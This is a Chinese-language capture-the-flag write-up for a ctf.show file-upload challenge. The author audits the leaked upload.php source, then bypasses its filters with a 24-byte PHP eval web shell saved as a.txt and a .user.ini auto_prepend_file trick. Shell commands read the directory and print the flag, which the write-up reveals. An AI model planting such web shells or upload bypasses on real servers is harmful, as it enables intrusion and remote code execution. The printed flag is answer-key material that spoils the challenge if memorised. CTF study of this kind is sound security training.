打开靶机发现是个文件上传漏洞,上传了图片这些,都提示太大了
10344c8d-1054-45ac-ac38-f99ae5d4e476.challenge.ctf.show/upload.php.bak
然后upload.php.bak下载下来了源码,进行审计:
<?php
header("content-type:text/html;charset=utf-8");
$filename = $_FILES['file']['name'];
$temp_name = $_FILES['file']['tmp_name'];
$size = $_FILES['file']['size'];
$error = $_FILES['file']['error'];
//pathinfo — 返回文件路径的信息
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
//文件<=24
if ($size > 24){
die("error file zise");
}
//文件名字长度<=9
if (strlen($filename)>9){
die("error file name");
}
//文件后缀<=3
if(strlen($ext_suffix)>3){
die("error suffix");
}
//后缀过滤掉了大小写的php
if(preg_match("/php/i",$ext_suffix)){
die("error suffix");
}
//文件名字也过滤了大小写的php
if(preg_match("/php/i"),$filename)){
die("error file name");
}
//满足以上则上传成功
if (move_uploaded_file($temp_name, './'.$filename)){
echo "文件上传成功!";
}else{
echo "文件上传失败!";
}
?>
代码审计之后,我们可以构造一个一句话的文本文件
<?php eval($_POST['a']);
大小刚好24
然后构造一个.user.ini文件
auto_prepend_file=a.txt
作用,该目录下的所有文件都会包含a.txt
对于php中的.usr.ini有如下解释:
PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻。也就是在.usr.ini中如果设置了文件名,那么任意一个页面都会将该文件中的内容包含进去。
我们在.usr.ini中输入auto_prepend_file =a.txt,这样在该目录下的所有文件都会包含a.txt的内容
上传a.txt、上传.user.ini
上传成功之后,但我蚁剑这里连接不上,可能是.txt文件蚁剑无法通过php进行解析吧,我是这样理解的,可以在url上访问一下刚刚上传的文件
那就直接构造参数吧,这里用post发送,我get试过了,不行,
查看当前目录有哪些文件:a=print_r(glob("*"));
直接高亮flag
a=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");
得到flag
ctfshow{afec4dce-665f-40a6-b2ee-25874cbfe778}